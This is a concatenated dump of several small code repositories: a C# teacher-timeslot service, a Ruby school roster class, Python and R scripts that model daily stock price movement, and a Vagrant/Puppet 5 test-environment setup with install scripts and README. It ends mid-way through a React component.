Task<ICollection<Timeslot>> GetAvailableTimeslotsByTeacherId(Guid TeacherId);
Task<ICollection<Teacher>> GetTeachers();
}
}
<file_sep>/GuidanceCalendar.Application/Configure/IServiceCollectionExtension.cs
using GuidanceCalendar.Ports.In.Application;
using GuidanceCalendar.Application.Port.In;
using MediatR;
using Microsoft.Extensions.DependencyInjection;
using System.Reflection;
using GuidanceCalendar.Application.Port.Out;
using GuidanceCalendar.Ports.Out.Persistence;
namespace GuidanceCalendar.Application.Configure
{
public static class IServiceCollectionExtension
{
public static IServiceCollection AddApplicationConfiguration(this IServiceCollection services)
{
services.AddTransient<ITeacherPersistencePort, TeacherPersistencePort>();
services.AddTransient<ICalendarPersistencePort, CalendarPersistencePort>();
services.AddTransient<ITeacherService, TeacherService>();
services.AddMediatR(Assembly.GetExecutingAssembly());
return services;
}
}
}
<file_sep>/GuidanceCalendar.Application/Port/In/TeacherService.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using GuidanceCalendar.Application.UseCases.Teacher.Commands.CreateTimeslot;
using GuidanceCalendar.Application.UseCases.Teacher.Queries.GetAvailableTimeslots;
using GuidanceCalendar.Application.UseCases.Teacher.Queries.GetTeachers;
using GuidanceCalendar.Domain;
using GuidanceCalendar.Ports.In.Application;
using MediatR;
namespace GuidanceCalendar.Application.Port.In
{
public class TeacherService : ApplicationService, ITeacherService
{
public TeacherService(IMediator mediator) : base(mediator)
{
}
public async Task<Guid> CreateTimeslot(Guid teacherId, Guid calendarId, DateTimeOffset startTime, DateTimeOffset endTime)
{
var response = await _mediator.Send(new CreateTimeslotCommand { TeacherId = teacherId, CalendarId = calendarId, StartTime = startTime, EndTime = endTime });
return response.Id;
}
public async Task<ICollection<Timeslot>> GetAvailableTimeslotsByTeacherId(Guid teacherId)
{
return await _mediator.Send(new GetAvailableTimeslotsQuery { TeacherId = teacherId });
}
public async Task<ICollection<Teacher>> GetTeachers()
{
return await _mediator.Send(new GetTeachersQuery());
}
}
}
| 2510c30c2a27772016f01cea29e84a6cde9b0135 | [
"Markdown",
"C#"
] | 81 | C# | jesp209i/GuidanceCalendar | b7654cb7c02ff23d28707bf717d9b2c80fed138b | 68de44816917a165d82881f0f4b23f47935b0f44 |
refs/heads/master | <file_sep>require 'pry'
# code here!
class School
def initialize(school_name)
@roster = {}
end
def roster
@roster
end
def add_student(name, grade)
@roster[grade] ||= []
@roster[grade] << name
end
def grade(grade)
@roster[grade]
end
def sort
roster.each_with_object({}) do |(grade, array), hash|
hash[grade] = array.sort
end
end
end
| 460964accb60480622513c1f0a04d4c6eca58d09 | [
"Ruby"
] | 1 | Ruby | abillig/school-domain-web-0616 | 654a570be62f4d1c968f10d3b71ea16173a67459 | a3a265fe9997ea9093d9d61d05689a60e0e07c46 |
refs/heads/master | <repo_name>kenneth-vargas/stocks_linear<file_sep>/linear_model.py
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.linear_model import LogisticRegression
df = pd.read_csv('stock_data.csv')
X = df.iloc[:, 2:-1].values
y = df.iloc[:, -1].values
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.2, random_state=0)
print(X_train)
print(X_test)
print(y_train)
print(y_test)
sc = StandardScaler()
X_train = sc.fit_transform(X_train)
X_test = sc.transform(X_test)
classifier = LogisticRegression(random_state=0)
classifier.fit(X_train, y_train)
print(classifier.predict(sc.transform([[1, 1.02, 1.01, 2500000]])))
y_pred = classifier.predict(X_test)
np.set_printoptions(precision=2)
print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test), 1)), 1))
print(classifier.score(X_test, y_test))
print(classifier.get_params())
<file_sep>/.Rproj.user/4DD07DEB/sources/s-80594F55/4F8AD3C2-contents
---
title: "Stock price projection"
output:
html_document:
df_print: paged
---
```{r}
library(tidyverse)
library(corrplot)
library(bestglm)
library(car)
library(ROCR)
library(pROC)
```
```{r}
stocks <- read.csv("stock_data.csv", header=TRUE)
head(stocks)
summary(stocks)
stocks$close <- as.factor(stocks$close)
```
Data exploration:
```{r}
ggplot(data = stocks, mapping = aes(y = close, x = open)) +
geom_point() +
geom_jitter(height = 0.1) + # this is what makes the jitter
# you can change the height argument to see how it affects the jittering
theme_bw() +
theme(aspect.ratio = 1)
ggplot(data = stocks, mapping = aes(y = close, x = high)) +
geom_point() +
geom_jitter(height = 0.1) + # this is what makes the jitter
# you can change the height argument to see how it affects the jittering
theme_bw() +
theme(aspect.ratio = 1)
ggplot(data = stocks, mapping = aes(y = close, x = low)) +
geom_point() +
geom_jitter(height = 0.1) + # this is what makes the jitter
# you can change the height argument to see how it affects the jittering
theme_bw() +
theme(aspect.ratio = 1)
```
```{r}
ggplot(data = stocks, mapping = aes(y = open, x = close)) +
geom_boxplot() +
theme_bw() +
theme(aspect.ratio = 1) +
coord_flip()
ggplot(data = stocks, mapping = aes(y = low, x = close)) +
geom_boxplot() +
theme_bw() +
theme(aspect.ratio = 1) +
coord_flip()
ggplot(data = stocks, mapping = aes(y = high, x = close)) +
geom_boxplot() +
theme_bw() +
theme(aspect.ratio = 1) +
coord_flip()
```
Check multicolinearity for continours variables.
```{r}
sapply(stocks, typeof)
temp <- stocks[,3:7]
corrplot(cor(temp[, -5]), type = "upper")
```
Select the best variables to describe the model.
```{r}
stocks.best.subset.bic <-bestglm(temp,
IC = "BIC",
method = "exhaustive",
TopModels = 1,
family = binomial)
summary(stocks.best.subset.bic$BestModel)
```
```{r}
stocks.logistic <- glm(data = stocks, close ~ high + low,
family = binomial(link= "logit"))
summary(stocks.logistic)
```
Check the linearity assumption
```{r}
scatter.smooth(x = stocks$low, y = as.numeric(stocks$close) - 1,
pch = 19, xlab = "Low", ylab = "Close")
temp <- as.numeric(stocks$high)
scatter.smooth(x = temp, y = as.numeric(stocks$close) - 1,
pch = 19, xlab = "Low", ylab = "Close")
```
Check for possible outliers
```{r}
stocks.dffits <- data.frame("dffits" = dffits(stocks.logistic))
stocks.dffits$obs <- 1:length(stocks$close)
ggplot(data = stocks.dffits) +
geom_point(mapping = aes(x = obs, y = abs(dffits))) +
geom_hline(mapping = aes(yintercept = 1),
color = "red", linetype = "dashed") +
theme_bw() +
theme(aspect.ratio = 1)
stocks.dffits[abs(stocks.dffits$dffits) >1,]
```
Check for multicolinearity
```{r}
stocks.vifs <- vif(stocks.logistic)
stocks.vifs
mean(stocks.vifs)
```
Model accuracy in representing the data
```{r}
like.ratio <- stocks.logistic$null.deviance - stocks.logistic$deviance
like.ratio
pchisq(like.ratio, 4, lower.tail = FALSE)
```
<file_sep>/stock_linear.py
import pandas
import requests
import json
import time
# f = open('stock_data.csv')
df = pandas.read_csv('stock_names.csv', encoding='ISO-8859-1')
print(df)
stocks = df.iloc[:, 0].values.tolist()
cols = ['Symbol', 'open', 'high', 'low', 'volume', 'close']
# result_df = pandas.DataFrame(columns=cols)
useful_keys = ['symbol', 'open', 'high', 'preMarket', 'volume', 'close', 'low']
dict_list = []
for idx, name in enumerate(stocks):
if idx > 350:
break
result = requests.get(
"https://api.polygon.io/v1/open-close/{}/2020-10-14?unadjusted=true&apiKey=<KEY>".format(
name))
time.sleep(13)
data = result.json()
if result.status_code != 200 or not all(k in data for k in useful_keys):
continue
close_val = 1 if data['open'] < data['close'] else 0
dict_list.append(
{'symbol': data['symbol'], 'open': data['open'] / data['preMarket'], 'high': data['high'] / data['open'],
'low': data['low'] / data['open'],
'volume': data['volume'], 'close': close_val})
result_df = pandas.DataFrame(dict_list)
result_df.to_csv('stock_data.csv')
| 8ba6e3be6c457b80a11b232fb17de8c320dbb658 | [
"Python",
"RMarkdown"
] | 3 | Python | kenneth-vargas/stocks_linear | 4026507517897d007301c627b00d692108ce85a2 | a03def33475e41bebe129966f7b86ce3d503d2f4 |
refs/heads/master | <repo_name>anikgoel/sportsdirectinc-php<file_sep>/src/NHL.php
<?php
/**
* Description of SportsDirectBase
*
* @author Anik
*/
namespace SportsDirect;
use SportsDirect\Base;
class NHL extends Base {
private $api_key;
private $api_version;
private $mid_url_link = "/hockey/NHL";
public function __construct($api_key, $api_version = 'v2') {
$this->api_key = $api_key;
$this->api_version = $api_version;
}
public function getSeasonResults($season) {
$url = $this->base_url . "/" . $this->api_version . $this->mid_url_link . "/results/" . $season . "/results_NHL.xml?apiKey=" . $this->api_key;
return $this->_sendHit($url);
}
public function getSeasonTeam($season) {
$url = $this->base_url . "/" . $this->api_version . $this->mid_url_link . "/teams/" . $season . "/teams_NHL.xml?apiKey=" . $this->api_key;
return $this->_sendHit($url);
}
public function getDrafterPlayerAtomFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/drafts&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
return $this->_sendHit($url);
}
public function getBoxScoreAtomFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/boxscores&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
return $this->_sendHit($url);
}
public function getStandingAtomFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/standings&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
return $this->_sendHit($url);
}
public function getPlayerStatsAtomFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/player-stats&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
return $this->_sendHit($url);
}
public function getTeamsAtomFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/teams&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
return $this->_sendHit($url);
}
public function getPlayersAtomFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/players&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
return $this->_sendHit($url);
}
public function getInjuryFeed($updated_since = NULL) {
$url = $this->base_url_atom . "/hockey/nhl/injuries&apiKey=" . $this->api_key . (($updated_since != NULL) ? "&newerThan=$updated_since" : "");
$data = $this->_sendHit($url);
if (isset($data['entry']['id'])) {
return array($this->_sendHit($data['entry']['id']), $data);
} else {
return FALSE;
}
}
public function getTeamPlayers($season, $team_id) {
$url = $this->base_url . "/" . $this->api_version . $this->mid_url_link . "/players/" . $season . "/players_{$team_id}_NHL.xml?apiKey=" . $this->api_key;
return $this->_sendHit($url);
}
public function getGameSchedule($days = NULL) {
$url = $this->base_url . "/" . $this->api_version . $this->mid_url_link . "/schedule/" . "schedule_NHL" . (($days == NULL) ? "" : "_{$days}_days") . ".xml?apiKey=" . $this->api_key;
return $this->_sendHit($url);
}
}
| 885de0629c865ed7040e1956b0237ca47e13a12e | [
"PHP"
] | 1 | PHP | anikgoel/sportsdirectinc-php | 6694cd8e643b26f21ae07426531456c354e2321f | 232b5583bd8c3956e5ee87c00c2a2b007af94869 |
refs/heads/master | <repo_name>ErikRaaijmakers/vagrant-puppet-development-environment<file_sep>/installation/install-puppet5-deb.sh
#!/bin/bash
# Prepare puppetlabs repo
CODENAME=`lsb_release -cs`
wget http://apt.puppetlabs.com/puppet5-release-"$CODENAME".deb
dpkg -i puppet5-release-"$CODENAME".deb
apt-get update
# Install puppet/facter
apt-get install -y puppet-agent
rm -f puppet5-release-"$CODENAME".deb
# Disable Puppet agent on systemd
# PuppetLabs has the service disabled per default
if which systemctl >/dev/null; then
systemctl stop puppet
systemctl disable puppet
fi
sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local
<file_sep>/installation/prepare-install-deb.sh
#!/bin/bash
sudo apt-get update
sudo apt-get install -y bash-completion wget vim apt-transport-https htop
sudo apt-get dist-upgrade -Vy
<file_sep>/yes_create_a_puppet_development_environment.sh
#!/bin/bash
c7='CentOS 7'
d8='Debian 8'
d9='Debian 9'
u12='Ubuntu 1204 LTS'
u14='Ubuntu 1404 LTS'
u16='Ubuntu 1604 LTS'
u18='Ubuntu 1804 LTS'
echo 'Please Enter the Puppetversion you want to use. Type 5 for Puppet5'
#add input validation
read PUPPETVERSION
echo 'Please Enter the OS you want to use on the clientside. Type'
echo 'c7 for CentOS 7'
echo 'd8 for Debian 8'
echo 'd9 for Debian 9'
echo 'u12 for Ubuntu 1204 LTS'
echo 'u14 for Ubuntu 1404 LTS'
echo 'u16 for Ubuntu 1604 LTS'
echo 'u16 for Ubuntu 1804 LTS'
#add input validation
read OS
echo 'Please Enter the number of clients you want to create. possible 1-10'
#add input validation
read NUMBER_OF_PUPPETCLIENTS
echo "deleting existing puppetmaster environment"
vagrant destroy -f
if [ -f Vagrantfile ]; then
rm Vagrantfile
fi
for i in $(ls -1 clients/);
do
echo "deleting all clients in $i"
cd clients/$i
if [ -f Vagrantfile ]; then
vagrant destroy -f
fi
cd ../..
done
if [ "$PUPPETVERSION" == "5" ]; then
echo "I will build a Puppet development environment for Puppet5 with $NUMBER_OF_PUPPETCLIENTS clients on ${!OS}"
cp VagrantfileV5 Vagrantfile
fi
echo "doing first vagrant run"
vagrant up
echo "doing second vagrant run"
vagrant up
echo "doing third vagrant run"
vagrant up
echo "puppet never runs completely trouble less when setting up a multi node puppetdb setup"
if [ "$PUPPETVERSION" == "5" ]; then
vagrant ssh puppet -c 'sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local'
vagrant ssh puppet -c 'sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local'
vagrant ssh puppetdb -c 'sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local'
vagrant ssh postgres-puppetdb -c 'sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local'
fi
cd clients/"$OS"p"$PUPPETVERSION"
for (( i=1; i<=$NUMBER_OF_PUPPETCLIENTS; i++ ))
do
echo "building puppetclient 0$i with ${!OS}"
vagrant up puppetclient0$i
done
<file_sep>/VagrantfileV5
# -*- mode: ruby -*-
# vi: set ft=ruby :
VAGRANTFILE_API_VERSION = "2"
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
# allow hostname resolution
config.vm.provision :hosts do |prov|
prov.add_host '192.168.33.5', ['puppet.local']
prov.add_host '192.168.33.6', ['puppetdb.local']
prov.add_host '192.168.33.7', ['postgres-puppetdb.local']
prov.add_host '192.168.33.8', ['puppetexplorer.local']
prov.add_host '192.168.33.9', ['foreman.local']
prov.add_host '192.168.33.10', ['puppetclient-01.local']
prov.add_host '192.168.33.11', ['puppetclient-02.local']
prov.add_host '192.168.33.12', ['puppetclient-03.local']
prov.add_host '192.168.33.13', ['puppetclient-04.local']
prov.add_host '192.168.33.14', ['puppetclient-05.local']
prov.add_host '192.168.33.15', ['puppetclient-06.local']
prov.add_host '192.168.33.16', ['puppetclient-07.local']
prov.add_host '192.168.33.17', ['puppetclient-08.local']
prov.add_host '192.168.33.18', ['puppetclient-09.local']
prov.add_host '192.168.33.19', ['puppetclient-10.local']
end
# puppet master node
config.vm.define "puppet" do |puppet|
puppet.vm.box = "debian/contrib-stretch64"
puppet.vm.box_url = "https://app.vagrantup.com/debian/boxes/contrib-stretch64"
puppet.vm.hostname = "puppet.local"
puppet.vm.network "private_network", ip: "192.168.33.5"
puppet.vm.provision :shell, :path => "installation/prepare-install-deb.sh"
puppet.vm.provision :shell, :path => "installation/install-puppetmaster5-deb.sh"
puppet.vm.synced_folder "puppet5/", "/etc/puppetlabs/code/environments/production", create: true
puppet.vm.provider "virtualbox" do |v|
v.memory = 2250
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetdb postgres database node
config.vm.define "postgres-puppetdb" do |postgres_puppetdb|
postgres_puppetdb.vm.box = "debian/contrib-stretch64"
postgres_puppetdb.vm.box_url = "https://app.vagrantup.com/debian/boxes/contrib-stretch64"
postgres_puppetdb.vm.hostname = "postgres-puppetdb.local"
postgres_puppetdb.vm.network "private_network", ip: "192.168.33.7"
postgres_puppetdb.vm.provision :shell, :path => "installation/prepare-install-deb.sh"
postgres_puppetdb.vm.provision :shell, :path => "installation/install-puppet5-deb.sh"
postgres_puppetdb.vm.provider "virtualbox" do |v|
v.memory = 512
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetdb api node
config.vm.define "puppetdb" do |puppetdb|
puppetdb.vm.box = "debian/contrib-stretch64"
puppetdb.vm.box_url = "https://app.vagrantup.com/debian/boxes/contrib-stretch64"
puppetdb.vm.hostname = "puppetdb.local"
puppetdb.vm.network "private_network", ip: "192.168.33.6"
puppetdb.vm.provision :shell, :path => "installation/prepare-install-deb.sh"
puppetdb.vm.provision :shell, :path => "installation/install-puppet5-deb.sh"
puppetdb.vm.provider "virtualbox" do |v|
v.memory = 512
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
end
<file_sep>/installation/install-puppet5-rhel.sh
#!/bin/bash
# Prepare puppetlabs repo
CENTOS_RELEASE=$(rpm -qa \*-release | grep -Ei "oracle|redhat|centos" | cut -d"-" -f3)
sudo rpm -ivh http://yum.puppetlabs.com/puppet5/puppet5-release-el-7.noarch.rpm
sudo yum update
# Install puppet/facter
sudo yum install -y puppet-agent
# Disable Puppet agent on systemd
# PuppetLabs has the service disabled per default
if which systemctl >/dev/null; then
sudo systemctl stop puppet
sudo systemctl disable puppet
fi
sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local
<file_sep>/README.md
#Vagrant Puppet Development Environment
##Why
**Reproducible** Development Environment for Puppet
##What
* Puppet5 Support
## MASTERS
* Debian 9 based
## OS IMAGES AVAILABLE FOR CLIENTS
* Debian 8
* Debian 9
* Centos 7
* Ubuntu 14.04 LTS
* Ubuntu 16.04 LTS
* Ubuntu 18.04 LTS
##Requirements
* vagrant-hosts
vagrant plugin install vagrant-hosts
* vagrant
* virtual box
* 4+ GB of RAM
Setup a Puppet Environment:
* puppet.local (puppetmaster/puppetserver)
* puppetdb.local (puppetdb)
* postgres-puppetdb.local (postgresql database)
Add up to five clients.
* puppetclient-{01-05}.local (puppet agent)
##Get Startet
* clone the repository
* if you want/need hiera-eyaml-gpg support, place a private puppetmaster gpg
key without passphrase inside the vagrant directory, name it
puppetmaster.gpg.sec, it will be importet, dependencies will be installed
* edit Vagrantfile{V3,V4} in line 25/26, set this to the pwd
* run yes_create_a_puppet_development_environment.sh
* decide which version and clients you need, the environment will be build
* you can just start coding within the puppet directories located in the
vagrant directory. You could also move the existing code to an new git
repo and modify the vagrant
file to mount your new git.
##Transfer existing Code to new Git and mounting
**transfer the existing code to new git**
cd ~/
mkdir new-puppet-dev
cd new-puppet-dev
git init
cp -r /path/to/vagrant/puppet/hieradata .
cp -r /path/to/vagrant/puppet/manifests .
cp -r /path/to/vagrant/puppet/modules .
**edit Vagrantfile edit the following line to the puppet host (Line 25 [V4]/line 26 [V3])**
puppet.vm.synced_folder "/path/to/local/git", "/path/to/puppet/environment/directory"
**reload vagrant**
vagrant reload
##Basic Usage
**start an environment**
./yes_create_a_puppet_development_environment.sh
**stop an environment**
vagrant halt
**destroy an environment**
./cleanup_all_vagrantboxes.sh
**connect to a vagrant box**
vagrant ssh *boxname*
**connect different OS Clients to puppetmaster**
1. go to clients directory
2. choose the OS with the matching puppet version (p5 =Puppet5)
3. boxes puppetclient0{1-10} are prepared for each OS.
4. execute vagrant global-status
5. start up the next box in a row:
6. vagrant up puppetclient0n
<file_sep>/cleanup_all_vagrantboxes.sh
#!/bin/bash
echo "deleting existing puppetmaster environment"
vagrant destroy -f
if [ -f Vagrantfile ]; then
rm Vagrantfile
fi
for i in $(ls -1 clients/);
do
echo "deleting all clients in $i"
cd clients/$i
if [ -f Vagrantfile ]; then
vagrant destroy -f
fi
cd ../..
done
<file_sep>/installation/prepare-install-rhel.sh
#!/bin/bash
sudo yum check-update
sudo yum install -y bash-completion wget vim
sudo yum upgrade -y
<file_sep>/clients/d9p5/Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
VAGRANTFILE_API_VERSION = "2"
Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
# allow hostname resolution
config.vm.provision :hosts do |prov|
prov.add_host '192.168.33.5', ['puppet.local']
prov.add_host '192.168.33.6', ['puppetdb.local']
prov.add_host '192.168.33.7', ['postgres-puppetdb.local']
prov.add_host '192.168.33.8', ['puppetexplorer.local']
prov.add_host '192.168.33.9', ['foreman.local']
prov.add_host '192.168.33.10', ['puppetclient-01.local']
prov.add_host '192.168.33.11', ['puppetclient-02.local']
prov.add_host '192.168.33.12', ['puppetclient-03.local']
prov.add_host '192.168.33.13', ['puppetclient-04.local']
prov.add_host '192.168.33.14', ['puppetclient-05.local']
prov.add_host '192.168.33.15', ['puppetclient-06.local']
prov.add_host '192.168.33.16', ['puppetclient-07.local']
prov.add_host '192.168.33.17', ['puppetclient-08.local']
prov.add_host '192.168.33.18', ['puppetclient-09.local']
prov.add_host '192.168.33.19', ['puppetclient-10.local']
end
# puppetclient01 node
config.vm.define "puppetclient01" do |pc01|
pc01.vm.box = "debian/contrib-stretch64"
pc01.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc01.vm.hostname = "puppetclient-01.local"
pc01.vm.network "private_network", ip: "192.168.33.10"
pc01.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc01.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc01.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient02 node
config.vm.define "puppetclient02" do |pc02|
pc02.vm.box = "debian/contrib-stretch64"
pc02.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc02.vm.hostname = "puppetclient-02.local"
pc02.vm.network "private_network", ip: "192.168.33.11"
pc02.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc02.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc02.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient03 node
config.vm.define "puppetclient03" do |pc03|
pc03.vm.box = "debian/contrib-stretch64"
pc03.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc03.vm.hostname = "puppetclient-03.local"
pc03.vm.network "private_network", ip: "192.168.33.12"
pc03.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc03.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc03.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient04 node
config.vm.define "puppetclient04" do |pc04|
pc04.vm.box = "debian/contrib-stretch64"
pc04.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc04.vm.hostname = "puppetclient-04.local"
pc04.vm.network "private_network", ip: "192.168.33.13"
pc04.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc04.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc04.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient05 node
config.vm.define "puppetclient05" do |pc05|
pc05.vm.box = "debian/contrib-stretch64"
pc05.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc05.vm.hostname = "puppetclient-05.local"
pc05.vm.network "private_network", ip: "192.168.33.14"
pc05.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc05.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc05.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient06 node
config.vm.define "puppetclient06" do |pc06|
pc06.vm.box = "debian/contrib-stretch64"
pc06.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc06.vm.hostname = "puppetclient-06.local"
pc06.vm.network "private_network", ip: "192.168.33.15"
pc06.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc06.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc06.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient07 node
config.vm.define "puppetclient07" do |pc07|
pc07.vm.box = "debian/contrib-stretch64"
pc07.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc07.vm.hostname = "puppetclient-07.local"
pc07.vm.network "private_network", ip: "192.168.33.16"
pc07.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc07.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc07.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient08 node
config.vm.define "puppetclient08" do |pc08|
pc08.vm.box = "debian/contrib-stretch64"
pc08.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc08.vm.hostname = "puppetclient-08.local"
pc08.vm.network "private_network", ip: "192.168.33.17"
pc08.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc08.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc08.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient09 node
config.vm.define "puppetclient09" do |pc09|
pc09.vm.box = "debian/contrib-stretch64"
pc09.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc09.vm.hostname = "puppetclient-09.local"
pc09.vm.network "private_network", ip: "192.168.33.18"
pc09.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc09.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc09.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
# puppetclient10 node
config.vm.define "puppetclient10" do |pc10|
pc10.vm.box = "debian/contrib-stretch64"
pc10.vm.box_url = "https://app.vagrantup.com/debian/contrib-stretch64"
pc10.vm.hostname = "puppetclient-10.local"
pc10.vm.network "private_network", ip: "192.168.33.19"
pc10.vm.provision :shell, :path => "../../installation/prepare-install-deb.sh"
pc10.vm.provision :shell, :path => "../../installation/install-puppet5-deb.sh"
pc10.vm.provider "virtualbox" do |v|
v.memory = 1024
v.cpus = 1
v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
end
end
end
<file_sep>/installation/install-puppetmaster5-deb.sh
#!/bin/bash
# Prepare puppetlabs repo
CODENAME=`lsb_release -cs`
echo "install puppetlabs repository"
wget http://apt.puppetlabs.com/puppet5-release-"$CODENAME".deb
dpkg -i puppet5-release-"$CODENAME".deb
apt-get update
echo "Install Puppetserver"
apt-get install -y puppetserver
rm -f puppet5-release-"$CODENAME".de
echo "update System"
sudo apt-get update
sudo apt-get dist-upgrade -Vy
sudo service puppetserver restart
echo "cleanup CA"
sudo service puppetserver stop
sudo rm -rf /etc/puppetlabs/puppet/ssl/*
sudo service puppetserver start
echo "disable agent, start puppetserver and enable start on boot"
# Disable Puppet agent on systemd
# PuppetLabs has the service disabled per default
if which systemctl >/dev/null; then
systemctl stop puppet
systemctl disable puppet
systemctl start puppetserver
systemctl enable puppetserver
fi
echo "install deepmerge gem"
sudo su puppet -s /bin/bash -c '/opt/puppetlabs/bin/puppetserver gem install deep_merge'
sudo /opt/puppetlabs/puppet/bin/gem install deep_merge
echo "install hiera-eyaml-gpg and dependencies"
sudo su puppet -s /bin/bash -c '/opt/puppetlabs/bin/puppetserver gem install ruby_gpg highline trollop'
sudo su puppet -s /bin/bash -c '/opt/puppetlabs/bin/puppetserver gem install hiera-eyaml hiera-eyaml-gpg'
sudo /opt/puppetlabs/puppet/bin/gem install ruby_gpg highline trollop
sudo /opt/puppetlabs/puppet/bin/gem install hiera-eyaml hiera-eyaml-gpg
if [ -f /vagrant/puppetmaster.gpg.sec ]; then
#import private key for puppetmaster without password
sudo cp /vagrant/puppetmaster.gpg.sec /opt/puppetlabs/server/data/puppetserver/key
sudo chown puppet:puppet /opt/puppetlabs/server/data/puppetserver/key
sudo su puppet -s /bin/bash -c '/usr/bin/gpg --import /opt/puppetlabs/server/data/puppetserver/key'
fi
echo "set autosigning for *.local domain"
sudo echo '*.local' > /etc/puppetlabs/puppet/autosign.conf
sudo service puppetserver restart
echo "apply puppetmaster role"
sudo /opt/puppetlabs/bin/puppet apply --hiera_config=/vagrant/puppet5/data/hiera.yaml --modulepath=/vagrant/puppet5/modules -e'include site_module'
echo "first run on the puppetserver"
sudo /opt/puppetlabs/bin/puppet agent -t --server puppet.local
if [ -f /vagrant/puppetmaster.gpg.sec ]; then
#import private key for puppetmaster without password
sudo cp /vagrant/puppetmaster.gpg.sec /opt/puppetlabs/server/data/puppetserver/key
sudo chown puppet:puppet /opt/puppetlabs/server/data/puppetserver/key
sudo su puppet -s /bin/bash -c '/usr/bin/gpg --import /opt/puppetlabs/server/data/puppetserver/key'
fi
echo "restart puppetserver"
sudo service puppetserver restart
| 0046abb55764ac65c994917cc13d3f9732f13ace | [
"Markdown",
"Ruby",
"Shell"
] | 10 | Shell | ErikRaaijmakers/vagrant-puppet-development-environment | b7256ab0f36e6d31dbe38c7f9af57febfce9feb3 | 245895b48e149d17480903bdf4e8d951a69dbfbd |
refs/heads/master | <file_sep>import React, { Component } from 'react';
import { render } from 'react-dom';
import { gsap } from "gsap";
import { Button } from '@material-ui/core';
function Rela() {
return (
<div>
<Button variant="contained" color="primary">
Hello World
</Button>
